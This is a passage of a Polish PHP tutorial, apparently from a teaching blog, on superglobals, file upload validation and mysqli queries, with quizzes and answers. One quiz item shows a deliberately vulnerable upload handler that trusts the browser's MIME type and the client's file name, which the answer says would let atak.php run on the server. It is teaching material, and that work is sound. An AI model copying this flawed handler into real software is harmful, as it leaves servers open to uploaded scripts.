<pre class="language-html"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token tag"><span class="token punctuation">&lt;</span>form <span class="token attr-name">method</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>post<span class="token punctuation">"</span></span> <span class="token attr-name">action</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>profil.php<span class="token punctuation">"</span></span> <span class="token attr-name">enctype</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>multipart/form-data<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>
    <span class="token tag"><span class="token punctuation">&lt;</span>input <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>file<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>avatar<span class="token punctuation">"</span></span> <span class="token attr-name">accept</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>.jpg,.jpeg,.png,.webp<span class="token punctuation">"</span></span> <span class="token attr-name">required</span><span class="token punctuation">&gt;</span></span>
    <span class="token tag"><span class="token punctuation">&lt;</span>button <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>Zapisz avatar<span class="token tag"><span class="token punctuation">&lt;/</span>button<span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token punctuation">&lt;/</span>form<span class="token punctuation">&gt;</span></span>
</code></pre>
</div>



<div class="el-p">
<p dir="auto"><strong>Odbiór i walidacja pliku</strong></p>
</div>



<div class="el-pre">
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token variable">$plik</span> <span class="token operator">=</span> <span class="token global">$_FILES</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'avatar'</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token constant">null</span><span class="token punctuation">;</span>                 <span class="token comment">// null, gdy przekroczono post_max_size</span>

<span class="token variable">$plik</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'error'</span><span class="token punctuation">]</span>    <span class="token comment">// 0 = OK; 1 = za duży (php.ini); 3 = urwane; 4 = nie wybrano pliku</span>
<span class="token variable">$plik</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'size'</span><span class="token punctuation">]</span>     <span class="token comment">// rozmiar w bajtach (PHP)</span>
<span class="token variable">$plik</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'tmp_name'</span><span class="token punctuation">]</span> <span class="token comment">// plik tymczasowy — znika po skrypcie</span>
<span class="token variable">$plik</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'name'</span><span class="token punctuation">]</span>     <span class="token comment">// nazwa od użytkownika — tylko do wyciągnięcia rozszerzenia</span>
<span class="token variable">$plik</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'type'</span><span class="token punctuation">]</span>     <span class="token comment">// typ od przeglądarki — nie używamy</span>

<span class="token variable">$rozszerzenie</span> <span class="token operator">=</span> <span class="token function">strtolower</span><span class="token punctuation">(</span><span class="token function">pathinfo</span><span class="token punctuation">(</span><span class="token variable">$plik</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token constant">PATHINFO_EXTENSION</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">in_array</span><span class="token punctuation">(</span><span class="token variable">$rozszerzenie</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string single-quoted-string">'jpg'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'jpeg'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'png'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'webp'</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token constant boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">getimagesize</span><span class="token punctuation">(</span><span class="token variable">$plik</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'tmp_name'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">===</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span>         <span class="token comment">// to nie jest obrazek</span>

<span class="token variable">$nazwa</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'avatar_'</span> <span class="token operator">.</span> <span class="token global">$_SESSION</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'uzytkownik_id'</span><span class="token punctuation">]</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'_'</span> <span class="token operator">.</span> <span class="token function">time</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'.'</span> <span class="token operator">.</span> <span class="token variable">$rozszerzenie</span><span class="token punctuation">;</span>
<span class="token function">move_uploaded_file</span><span class="token punctuation">(</span><span class="token variable">$plik</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'tmp_name'</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token constant">__DIR__</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'/uploads/avatary/'</span> <span class="token operator">.</span> <span class="token variable">$nazwa</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
</div>



<div class="el-p">
<p dir="auto"><strong>Stałe kodów błędów</strong></p>
</div>



<div class="el-p">
<p dir="auto"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_OK</code>&nbsp;(0),&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_INI_SIZE</code>&nbsp;(1),&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_FORM_SIZE</code>&nbsp;(2),&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_PARTIAL</code>&nbsp;(3),&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_NO_FILE</code>&nbsp;(4),&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_NO_TMP_DIR</code>&nbsp;(6),&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_CANT_WRITE</code>&nbsp;(7),&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_EXTENSION</code>&nbsp;(8).</p>
</div>



<div class="el-p">
<p dir="auto"><strong>Przydatne klucze&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SERVER</code></strong></p>
</div>



<div class="el-pre">
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token global">$_SERVER</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'REQUEST_METHOD'</span><span class="token punctuation">]</span>   <span class="token comment">// 'GET' albo 'POST'</span>
<span class="token global">$_SERVER</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'REQUEST_URI'</span><span class="token punctuation">]</span>      <span class="token comment">// /profil.php?id=5</span>
<span class="token global">$_SERVER</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'QUERY_STRING'</span><span class="token punctuation">]</span>     <span class="token comment">// id=5&amp;sort=level</span>
<span class="token global">$_SERVER</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'REMOTE_ADDR'</span><span class="token punctuation">]</span>      <span class="token comment">// adres IP użytkownika</span>
<span class="token global">$_SERVER</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'HTTP_USER_AGENT'</span><span class="token punctuation">]</span>  <span class="token comment">// przeglądarka (dane od klienta!)</span>
<span class="token global">$_SERVER</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'DOCUMENT_ROOT'</span><span class="token punctuation">]</span>    <span class="token comment">// katalog główny serwera</span>
</code></pre>
</div>



<div class="el-hr"><hr /></div>



<div class="el-h2">
<h2 dir="auto" data-heading="Quiz – sprawdź się">Quiz – sprawdź się</h2>
</div>



<div class="el-ol">
<ol>
<li dir="auto" data-line="0">
<p>Strona otwarta adresem&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php?id=7</code>. Co wypisze ten kod i dlaczego?</p>
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token keyword">function</span> <span class="token function-definition function">pokazId</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
    <span class="token keyword">echo</span> <span class="token global">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'id'</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token string single-quoted-string">'brak'</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token function">pokazId</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
</li>
<li dir="auto" data-line="9">
<p>Formularz wygląda tak:</p>
<pre class="language-html"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token tag"><span class="token punctuation">&lt;</span>form <span class="token attr-name">method</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>post<span class="token punctuation">"</span></span> <span class="token attr-name">action</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>wyslij.php<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>
    <span class="token tag"><span class="token punctuation">&lt;</span>input <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>file<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>foto<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>
    <span class="token tag"><span class="token punctuation">&lt;</span>button <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>Wyślij<span class="token tag"><span class="token punctuation">&lt;/</span>button<span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token punctuation">&lt;/</span>form<span class="token punctuation">&gt;</span></span>
</code></pre>
<p>Użytkownik wybiera&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">pies.jpg</code>&nbsp;i wysyła. Co znajdzie się w&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code>, a co w&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>?</p>
</li>
<li dir="auto" data-line="20">
<p>Które klucze tablicy&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar']</code>&nbsp;ustawia PHP, a które przychodzą od przeglądarki użytkownika? Wypisz je w dwóch grupach.</p>
</li>
<li dir="auto" data-line="22">
<p>Skrypt dostaje&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['zdjecie']['error'] === 4</code>. Co dokładnie się stało i jaki komunikat powinien zobaczyć użytkownik? A co znaczy sytuacja, w której&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['zdjecie']</code>&nbsp;<strong>w ogóle nie istnieje</strong>, choć formularz został wysłany metodą POST?</p>
</li>
<li dir="auto" data-line="24">
<p>Znajdź trzy błędy:</p>
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token variable">$plik</span> <span class="token operator">=</span> <span class="token global">$_FILES</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'avatar'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$plik</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'type'</span><span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token string single-quoted-string">'image/png'</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
    <span class="token function">move_uploaded_file</span><span class="token punctuation">(</span><span class="token variable">$plik</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'tmp_name'</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'uploads/avatary/'</span> <span class="token operator">.</span> <span class="token variable">$plik</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">zapiszAvatarUzytkownika</span><span class="token punctuation">(</span><span class="token variable">$polaczenie</span><span class="token punctuation">,</span> <span class="token variable">$id</span><span class="token punctuation">,</span> <span class="token variable">$plik</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
</code></pre>
</li>
<li dir="auto" data-line="34">
<p>Dlaczego ten kod przy pierwszym wejściu na stronę wypisuje „jasny”, mimo że ciasteczko właśnie zostało ustawione?</p>
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token function">setcookie</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'motyw'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'ciemny'</span><span class="token punctuation">,</span> <span class="token function">time</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">3600</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">echo</span> <span class="token global">$_COOKIE</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'motyw'</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token string single-quoted-string">'jasny'</span><span class="token punctuation">;</span>
</code></pre>
</li>
<li dir="auto" data-line="41">
<p>Uzupełnij kod tak, aby pobrał identyfikator kontynentu przesłany metodą GET, a przy jego braku użył wartości 6 (zadanie w stylu arkusza egzaminacyjnego):</p>
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token variable">$idKontynentu</span> <span class="token operator">=</span> <span class="token constant">______________________</span><span class="token punctuation">;</span>
</code></pre>
</li>
<li dir="auto" data-line="47">
<p>Który warunek poprawnie sprawdza, że formularz został wysłany metodą POST? Uzasadnij odrzucenie pozostałych.</p>
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;">a<span class="token punctuation">)</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token global">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'login'</span><span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token operator">...</span> <span class="token punctuation">}</span>
b<span class="token punctuation">)</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token global">$_SERVER</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'REQUEST_METHOD'</span><span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token string single-quoted-string">'POST'</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token operator">...</span> <span class="token punctuation">}</span>
c<span class="token punctuation">)</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token global">$_POST</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token operator">...</span> <span class="token punctuation">}</span>
</code></pre>
</li>
<li dir="auto" data-line="55">
<p>W formularzu logowania zamieniono&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">method="post"</code>&nbsp;na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">method="get"</code>. Kod PHP poprawiono, żeby czytał&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>. Aplikacja działa. Podaj dwa konkretne powody, dla których to zła zmiana.</p>
</li>
<li dir="auto" data-line="57">
<p>Skrypt waliduje avatar, zapisuje nazwę pliku w bazie i przekierowuje na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>&nbsp;— ale ktoś usunął z niego wywołanie&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code>. Co zobaczy gracz na stronie głównej i gdzie jest jego obrazek?</p>
</li>
<li dir="auto" data-line="59">
<p>Napisz fragment, który odrzuci plik większy niż 1 MB, korzystając ze stałej&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">MAKS_ROZMIAR_AVATARA</code>. Na podstawie którego klucza&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code>&nbsp;to sprawdzisz i dlaczego nie na podstawie tego, co napisała przeglądarka?</p>
</li>
<li dir="auto" data-line="61">
<p>Dlaczego w kolumnie&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code>&nbsp;zapisujemy&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_1_1790000000.png</code>, a nie zawartość pliku ani&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/avatar_1_1790000000.png</code>?</p>
</li>
</ol>
</div>



<div class="el-hr"><hr /></div>



<div class="el-h3">
<h3 dir="auto" data-heading="Odpowiedzi – quiz „Sprawdź się”">Odpowiedzi – quiz „Sprawdź się”</h3>
</div>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<div class="el-ol">
<ol>
<li dir="auto" data-line="0">Wypisze&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">7</code>.&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>&nbsp;jest superglobalna, więc jest widoczna wewnątrz funkcji bez&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">global</code>&nbsp;i bez przekazywania jej parametrem.</li>
<li dir="auto" data-line="1"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code>&nbsp;będzie puste, a&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['foto']</code>&nbsp;będzie zawierać sam napis&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">pies.jpg</code>. Brakuje&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">enctype="multipart/form-data"</code>, więc przeglądarka wysłała tylko nazwę pliku jako zwykły tekst.</li>
<li dir="auto" data-line="2">PHP ustawia&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">tmp_name</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code>. Od przeglądarki (czyli od użytkownika) pochodzą&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code>&nbsp;i&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">type</code>&nbsp;— tym dwóm nie ufamy.</li>
<li dir="auto" data-line="3"><code class="prettyprint lang-sql" style="font-size: 0.85em;">4</code>&nbsp;to&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_NO_FILE</code>: użytkownik wysłał formularz, nie wybierając pliku — komunikat w stylu „Wybierz plik z obrazkiem.”. Brak całego klucza&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['zdjecie']</code>&nbsp;oznacza najczęściej przekroczony&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">post_max_size</code>: PHP odrzuciło całe żądanie, więc&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>&nbsp;też jest puste. Dlatego czytamy&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar'] ?? null</code>.</li>
<li dir="auto" data-line="4">(a) sprawdzanie formatu przez&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">type</code>&nbsp;— ten klucz podaje przeglądarka i da się go podmienić; (b) zapis pod nazwą z&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code>&nbsp;— dwóch graczy nadpisze sobie pliki, a plik&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.php</code>&nbsp;stanie się skryptem na serwerze; (c) brak sprawdzenia&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code>, rozmiaru i rzeczywistej zawartości (<code class="prettyprint lang-sql" style="font-size: 0.85em;">getimagesize()</code>) — dodatkowo nie sprawdzono, czy&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code>&nbsp;zwróciło&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, zanim zapisano nazwę w bazie.</li>
<li dir="auto" data-line="5"><code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code>&nbsp;wysyła nagłówek&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">Set-Cookie</code>&nbsp;do przeglądarki. Tablica&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code>&nbsp;powstaje z ciasteczek&nbsp;<strong>przysłanych razem z bieżącym żądaniem</strong>, więc nowe ciasteczko pojawi się w niej dopiero przy kolejnym wczytaniu strony.</li>
<li dir="auto" data-line="6"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$idKontynentu = $_GET['id'] ?? 6;</code>&nbsp;(na egzaminie równie dobra jest wersja&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">isset($_GET['id']) ? $_GET['id'] : 6</code>; w TaskQuest dopisalibyśmy rzutowanie:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)($_GET['id'] ?? 6)</code>).</li>
<li dir="auto" data-line="7">Poprawne jest&nbsp;<strong>b</strong>. Wariant a) odwołuje się do&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['login']</code>, którego przy wejściu GET nie ma — ostrzeżenie o braku klucza. Wariant c) zawsze daje&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, bo tablica&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>&nbsp;istnieje zawsze (przy GET jest po prostu pusta). Sprawdzenie konkretnego pola przez&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">isset($_POST['login'])</code>&nbsp;też jest poprawne.</li>
<li dir="auto" data-line="8">Po pierwsze, login i hasło znajdą się w adresie URL: w historii przeglądarki, w zakładkach, w logach serwera, na ekranie przy rzutniku. Po drugie, GET służy do pobierania danych — adres da się skopiować, wysłać i odświeżyć, a w ten sposób nie powinno się uruchamiać logowania ani zmieniać danych. Dochodzi jeszcze limit długości adresu.</li>
<li dir="auto" data-line="9">Gracz zobaczy uszkodzony obrazek (baza wskazuje plik, którego nie ma w&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code>). Obrazek był w katalogu tymczasowym i PHP usunęło go po zakończeniu skryptu.</li>
<li dir="auto" data-line="10">
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$plik</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'size'</span><span class="token punctuation">]</span> <span class="token operator">&gt;</span> <span class="token constant">MAKS_ROZMIAR_AVATARA</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
    <span class="token variable">$bledy</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'Plik może mieć najwyżej 1 MB.'</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
</code></pre>
Klucz&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code>&nbsp;wylicza PHP na podstawie rzeczywiście odebranych bajtów. Gdybyśmy wierzyli deklaracji przeglądarki, wystarczyłoby spreparować żądanie z fałszywym rozmiarem.</li>
<li dir="auto" data-line="16">Zawartości nie trzymamy w bazie, bo baza obsługuje dane tekstowe i liczbowe, a pliki są od tego, żeby leżeć na dysku i być serwowane przez serwer WWW. Pełnej ścieżki nie zapisujemy, bo powielałaby się w każdym wierszu, a po zmianie nazwy katalogu (np. na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">media/avatary</code>) trzeba byłoby poprawić wszystkie rekordy. Katalog jest jeden i siedzi w stałej&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">KATALOG_AVATAROW</code>.</li>
</ol>
</div>
</details>
<p>Artykuł <a href="https://kamakaczmarek.net/21-php-superglobals/">21. PHP &#8211; Superglobals</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>20. PHP &#8211; które rozwiązanie wybrać? Kompleksowe porównanie &#8211; mysqli czy PDO, obiektowe czy proceduralne?</title>
		<link>https://kamakaczmarek.net/20-php-ktore-rozwiazanie-wybrac-kompleksowe-porownanie-mysqli-czy-pdo-obiektowe-czy-proceduralne/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Tue, 26 May 2026 12:31:32 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=4760</guid>

					<description><![CDATA[<p>Szybki quiz – przypomnienie poprzedniej lekcji Lekcja 19: INSERT, UPDATE, DELETE z PHP. 1. Ola ma id = 2 i dokładnie 100 XP. Co wypisze ten kod? Uzasadnij wynik. 2. Znajdź błąd: 3. Dlaczego ostatnia linia nie ma sensu? 4. Uzupełnij warunek tak, aby XP za zadanie można było dostać tylko raz i tylko za [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/20-php-ktore-rozwiazanie-wybrac-kompleksowe-porownanie-mysqli-czy-pdo-obiektowe-czy-proceduralne/">20. PHP &#8211; które rozwiązanie wybrać? Kompleksowe porównanie &#8211; mysqli czy PDO, obiektowe czy proceduralne?</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Szybki quiz – przypomnienie poprzedniej lekcji</h2>



<p class="wp-block-paragraph">Lekcja 19: <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> z PHP.</p>



<p class="wp-block-paragraph"><strong>1.</strong> Ola ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">id = 2</code> i dokładnie 100 XP. Co wypisze ten kod?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp = 100;
$id = 2;
$zapytanie = $polaczenie-&gt;prepare('UPDATE uzytkownicy SET xp = ? WHERE id = ?');
$zapytanie-&gt;bind_param('ii', $xp, $id);
$zapytanie-&gt;execute();
var_dump($zapytanie-&gt;affected_rows);
</code></pre>



<p class="wp-block-paragraph">Uzasadnij wynik.</p>



<p class="wp-block-paragraph"><strong>2.</strong> Znajdź błąd:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('INSERT INTO zadania (uzytkownik_id, tytul) VALUES (?, ?)');
$zapytanie-&gt;bind_param('is', 2, $tytul);
</code></pre>



<p class="wp-block-paragraph"><strong>3.</strong> Dlaczego ostatnia linia nie ma sensu?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('DELETE FROM zadania WHERE id = ?');
$zapytanie-&gt;bind_param('i', $zadanieId);
$zapytanie-&gt;execute();
$wynik = $zapytanie-&gt;get_result();
</code></pre>



<p class="wp-block-paragraph"><strong>4.</strong> Uzupełnij warunek tak, aby XP za zadanie można było dostać <strong>tylko raz</strong> i <strong>tylko za swoje</strong> zadanie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = CURDATE()
WHERE ...
</code></pre>



<p class="wp-block-paragraph"><strong>5.</strong> Skrypt dodający zadanie wykonuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>, a potem od razu wypisuje HTML z komunikatem „Dodano”. Co się stanie, gdy użytkownik wciśnie F5? Jak nazywa się wzorzec, który rozwiązuje ten problem, i z jakich trzech kroków się składa?</p>



<p class="wp-block-paragraph"><strong>6.</strong> Co zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie-&gt;insert_id</code> i która funkcja z czasów CSV stała się dzięki temu niepotrzebna?</p>



<p class="wp-block-paragraph"><strong>7.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM zadania</code> pominięto <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>. Ile wierszy zniknie i co zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>?</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
